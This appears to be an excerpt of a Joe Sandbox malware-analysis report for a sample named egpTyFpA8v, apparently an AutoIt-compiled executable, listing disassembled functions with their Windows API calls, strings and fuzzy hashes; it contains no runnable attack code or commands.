Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 5fc0b3aaf1b51797906deaf62732c300c8f59141064af65726842188690111c7
Instruction ID: 4fb9d42a043a3f30d3e26782b2eb7186272a3354bfdbf9b3e36d4a24838c9ea4
Opcode Fuzzy Hash: 5fc0b3aaf1b51797906deaf62732c300c8f59141064af65726842188690111c7
Instruction Fuzzy Hash: AD41A766C1011476CB11EBB588469CFB7B8AF45315F60896BE908E3222F738E749C79E

Function 0048D56C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0048D5D4
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0048D60A
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0048D61B
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 0048D69D

Strings

DllGetClassObject, xrefs: 0048D610
,,L, xrefs: 0048D578

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: ,,L$DllGetClassObject
API String ID: 753597075-1523921096
Opcode ID: 2874f49d8a31c27fa751d8fb05b92799712410cad7e6c20a8ff481bb29441fc2
Instruction ID: 349aae52de480aa460380dd5ac828e1f768982ef7e7cb7ee11d629a544b569c0
Opcode Fuzzy Hash: 2874f49d8a31c27fa751d8fb05b92799712410cad7e6c20a8ff481bb29441fc2
Instruction Fuzzy Hash: 6441A4B1901208EFDB05EF54C884B9E7BA9EF44314F1185AEEC09AF245E7B4DD44CBA8

Function 00493671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0049466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00493697,?), ref: 0049468B

Part of subcall function 0049466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00493697,?), ref: 004946A4

lstrcmpiW.KERNEL32(?,?), ref: 004936B7
_wcscmp.LIBCMT ref: 004936D3
MoveFileW.KERNEL32(?,?), ref: 004936EB
_wcscat.LIBCMT ref: 00493733
SHFileOperationW.SHELL32(?), ref: 0049379F

Strings

\*.*, xrefs: 0049372D

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: e2733c519779d9b65c96e0fedb00e9f6905b8e651c1af57af1e4d438c6f40fd2
Instruction ID: 162e92b7f90164ee15853b1d964996f1752bc3e01d24eb23056e8e57bd9ab906
Opcode Fuzzy Hash: e2733c519779d9b65c96e0fedb00e9f6905b8e651c1af57af1e4d438c6f40fd2
Instruction Fuzzy Hash: 544162B1508344AECB61EF65C4419DFBBE8AF89385F00097FF499C3251EA38D689C75A

Function 004B7291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004B72AA
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 004B7351
IsMenu.USER32(?), ref: 004B7369
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 004B73B1
DrawMenuBar.USER32 ref: 004B73C4

Strings

0, xrefs: 004B729E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: ee36f042df1874f920b0bbb297afc327899e50cf4300c362a36cb73739dc0f45
Instruction ID: a9a4f53620497e76308fa1f7498c97d3e85104f82c28078ee9c245bce8d4ce8b
Opcode Fuzzy Hash: ee36f042df1874f920b0bbb297afc327899e50cf4300c362a36cb73739dc0f45
Instruction Fuzzy Hash: D0412675A04208EFDB20DF60D884AEABBF8FB48350F14952AFD05A7351D734AD64EB64

Function 004B0FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 004B0FD4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004B0FFE
FreeLibrary.KERNEL32(00000000), ref: 004B10B5

Part of subcall function 004B0FA5: RegCloseKey.ADVAPI32(?), ref: 004B101B
Part of subcall function 004B0FA5: FreeLibrary.KERNEL32(?), ref: 004B106D
Part of subcall function 004B0FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 004B1090

RegDeleteKeyW.ADVAPI32(?,?), ref: 004B1058

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 61c0abed08a93a8e6da0530a11321b67c3b893387271a684fe0f9d9921bb0bec
Instruction ID: d4ecd12b5eb40bd1c66571d9cd27e4bd7114c3fca4b8a16b9ac38a0f82d530b3
Opcode Fuzzy Hash: 61c0abed08a93a8e6da0530a11321b67c3b893387271a684fe0f9d9921bb0bec
Instruction Fuzzy Hash: 2A312F71900109BFDB15AF94DC99EFFB7BCEF08300F40027AF505A2251D6745E899AB4

Function 004B62CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 004B62EC
GetWindowLongW.USER32(00E54A88,000000F0), ref: 004B631F
GetWindowLongW.USER32(00E54A88,000000F0), ref: 004B6354
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 004B6386
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 004B63B0
GetWindowLongW.USER32(00000000,000000F0), ref: 004B63C1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 004B63DB

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 0b0474097472c1cd17a8540c9be5e062173b0066a9e4de0bd3213eb651dee428
Instruction ID: f4a4fc16ae4343ea887edb61cd75ff9491ae658b4dfc8c66c0d02394d14d32e8
Opcode Fuzzy Hash: 0b0474097472c1cd17a8540c9be5e062173b0066a9e4de0bd3213eb651dee428
Instruction Fuzzy Hash: 943137306041409FDB20DF18DC84FA537E1FB4A754F1A11BAFA058F2B1CB79A854CB69

Function 0048DAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0048DB2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0048DB54
SysAllocString.OLEAUT32(00000000), ref: 0048DB57
SysAllocString.OLEAUT32(?), ref: 0048DB75
SysFreeString.OLEAUT32(?), ref: 0048DB7E
StringFromGUID2.OLE32(?,?,00000028), ref: 0048DBA3
SysAllocString.OLEAUT32(?), ref: 0048DBB1

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: b75431585c78ddd540e35e5c2e53db6eb3a85f8039710bd8260d10acc60ca5ed
Instruction ID: 2187f6e717a7d66bbf3f6a0a9e2f5f7257932a774b8b25a39eb3472c40d66da1
Opcode Fuzzy Hash: b75431585c78ddd540e35e5c2e53db6eb3a85f8039710bd8260d10acc60ca5ed
Instruction Fuzzy Hash: 91218336A01219AFDF10EFA9DC84CBF77ACEF09360B018536F918DB291D674AD458768

Function 004A6173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004A7D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 004A7DB6

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 004A61C6
WSAGetLastError.WSOCK32(00000000), ref: 004A61D5
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 004A620E
connect.WSOCK32(00000000,?,00000010), ref: 004A6217
WSAGetLastError.WSOCK32 ref: 004A6221
closesocket.WSOCK32(00000000), ref: 004A624A
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 004A6263

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 9dd0fe60330ecde91c020a93366e7f3bdb002be972a7610e8613161cf5a2bfa0
Instruction ID: 8fa5419178266e0d5b24b8523b1937883fa3c5572b70ce1f1540798a2d5bc72e
Opcode Fuzzy Hash: 9dd0fe60330ecde91c020a93366e7f3bdb002be972a7610e8613161cf5a2bfa0
Instruction Fuzzy Hash: E931D531600108AFDF10AF64CC85FBE7BADEF55714F05416AFD0997291DB78AC088B69

Function 0048F65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0048F671
__wcsnicmp.LIBCMT ref: 0048F692
__wcsnicmp.LIBCMT ref: 0048F6AC

Strings

#notrayicon, xrefs: 0048F669
#requireadmin, xrefs: 0048F68C
#OnAutoItStartRegister, xrefs: 0048F6A6

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 1e6f82a6ac4288fe0cfc230485afbf7f20771c804f6f2f85255e5fc6fec5e27b
Instruction ID: 242dfe45fa957fa74ba49fd0407f8c63b2298afabebb5cc2bcdeeab72c12fb07
Opcode Fuzzy Hash: 1e6f82a6ac4288fe0cfc230485afbf7f20771c804f6f2f85255e5fc6fec5e27b
Instruction Fuzzy Hash: 22216A7220451166E220BA35AC02FAF7398EF59744F50483FFC4296152FB9C9D4AD3AD

Function 0048DBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0048DC09
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0048DC2F
SysAllocString.OLEAUT32(00000000), ref: 0048DC32
SysAllocString.OLEAUT32 ref: 0048DC53
SysFreeString.OLEAUT32 ref: 0048DC5C
StringFromGUID2.OLE32(?,?,00000028), ref: 0048DC76
SysAllocString.OLEAUT32(?), ref: 0048DC84

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: de54d417083f2741e95e9c519210cfefdf8a85d58860979682421b7d44bc82ad
Instruction ID: 0bc83bf6e5ffc0cba7bb0bffc23b1522e91ffc161a6c7958de31b8d47501958e
Opcode Fuzzy Hash: de54d417083f2741e95e9c519210cfefdf8a85d58860979682421b7d44bc82ad
Instruction Fuzzy Hash: C3215635A05204AFAB10FFA8DC89DAF77ECEB09360B108536F914CB2A1D674EC45D768

Function 004B75CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00431D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00431D73
Part of subcall function 00431D35: GetStockObject.GDI32(00000011), ref: 00431D87
Part of subcall function 00431D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00431D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 004B7632
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 004B763F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 004B764A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 004B7659
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 004B7665

Strings

Msctls_Progress32, xrefs: 004B7603

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 7abca5646e21d3d0bdb54e74ac3324f859f89ebb22138531cb11af15f6914884
Instruction ID: b3c9ed4db48d3dd1c6d2e27c67db438fde2f00afaa2f169563c5e8bcbf0f846d
Opcode Fuzzy Hash: 7abca5646e21d3d0bdb54e74ac3324f859f89ebb22138531cb11af15f6914884
Instruction Fuzzy Hash: 8811E6B1110119BFEF118F65CC85EE77F5DEF083A8F014115BB04A20A0CA76AC21DBA8

Function 00459AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00459AE6

Part of subcall function 00453187: EncodePointer.KERNEL32(00000000), ref: 0045318A
Part of subcall function 00453187: __initp_misc_winsig.LIBCMT ref: 004531A5
Part of subcall function 00453187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00459EA0
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00459EB4
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00459EC7
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00459EDA
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00459EED
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00459F00
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00459F13
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00459F26
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00459F39
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00459F4C
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00459F5F
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00459F72
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00459F85
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00459F98
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00459FAB
Part of subcall function 00453187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00459FBE

__mtinitlocks.LIBCMT ref: 00459AEB
__mtterm.LIBCMT ref: 00459AF4

Part of subcall function 00459B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00459AF9,00457CD0,004EA0B8,00000014), ref: 00459C56
Part of subcall function 00459B5C: _free.LIBCMT ref: 00459C5D
Part of subcall function 00459B5C: DeleteCriticalSection.KERNEL32(02O,?,?,00459AF9,00457CD0,004EA0B8,00000014), ref: 00459C7F

__calloc_crt.LIBCMT ref: 00459B19
__initptd.LIBCMT ref: 00459B3B
GetCurrentThreadId.KERNEL32 ref: 00459B42

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 46dbff05e0bcdf8e580b5fcd30c8b4e07bad482868155a39d0428612696fdd47
Instruction ID: 2ae62426222ec65429b25f5d532d94faf8bb2169e9bb1a34f65c9db9f5bb1b28
Opcode Fuzzy Hash: 46dbff05e0bcdf8e580b5fcd30c8b4e07bad482868155a39d0428612696fdd47
Instruction Fuzzy Hash: CCF06232519751DAE6647A7A7C0364B2694EB0273BB200A2FFC54D51D3FE289C49416C

Function 004BB635 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004BB644
_memset.LIBCMT ref: 004BB653
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,004F6F20,004F6F64), ref: 004BB682
CloseHandle.KERNEL32 ref: 004BB694

Strings

doO, xrefs: 004BB64D
oO, xrefs: 004BB63E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: oO$doO
API String ID: 3277943733-358147081
Opcode ID: caa6b3b7ba6cf95354d21574fa8557027304edfd260bc5d0822475e7a40fe185
Instruction ID: 895301e791b60ac6666730454d65729b4e9b20d7c4ee91ab41d7549f14aa65e3
Opcode Fuzzy Hash: caa6b3b7ba6cf95354d21574fa8557027304edfd260bc5d0822475e7a40fe185
Instruction Fuzzy Hash: 6DF0FEB25403047BE2106765BC06FBB7A9CEB09795F054036BE08E5192D7BA5C24C7BD

Function 0045406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00453F85), ref: 00454085
GetProcAddress.KERNEL32(00000000), ref: 0045408C
EncodePointer.KERNEL32(00000000), ref: 00454097
DecodePointer.KERNEL32(00453F85), ref: 004540B2

Strings

combase.dll, xrefs: 00454080
RoUninitialize, xrefs: 00454074

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 921470834120af926f4f7cbe216860375019214c46f213a24dcfec1a95eabfb3
Instruction ID: 300108b336663d03eca51e1c98ce954b715ecd23b8c77600d3d3accb955de76a
Opcode Fuzzy Hash: 921470834120af926f4f7cbe216860375019214c46f213a24dcfec1a95eabfb3
Instruction Fuzzy Hash: E0E01A70540200ABDA509F61EE08B153AA4B710743F200139F505D51A0CFBA5698CA0C

Function 004964B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0049660B
_memmove.LIBCMT ref: 00496546

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

_memmove.LIBCMT ref: 004965B9
_memmove.LIBCMT ref: 004966A0
_memmove.LIBCMT ref: 004966B9
_memmove.LIBCMT ref: 004966D5

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 448254e0949c07d16a0f673e8df4957746ed55f0cae072f6d9ea880876eb2e4a
Instruction ID: 111daa243ca0d0f5473fc5fea8a330716a6465144956d8a81d34878b5c90ba2f
Opcode Fuzzy Hash: 448254e0949c07d16a0f673e8df4957746ed55f0cae072f6d9ea880876eb2e4a
Instruction Fuzzy Hash: 0E619E3050024A9BCF16EF65CC82EFE3BA5AF49308F05452EFC555B292DB789C06CB58

Function 004B01E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

Part of subcall function 004B0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,004AFDAD,?,?), ref: 004B0E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004B02BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004B02FD
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 004B0320
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 004B0349
RegCloseKey.ADVAPI32(?,?,00000000), ref: 004B038C
RegCloseKey.ADVAPI32(00000000), ref: 004B0399

Memory Dump Source

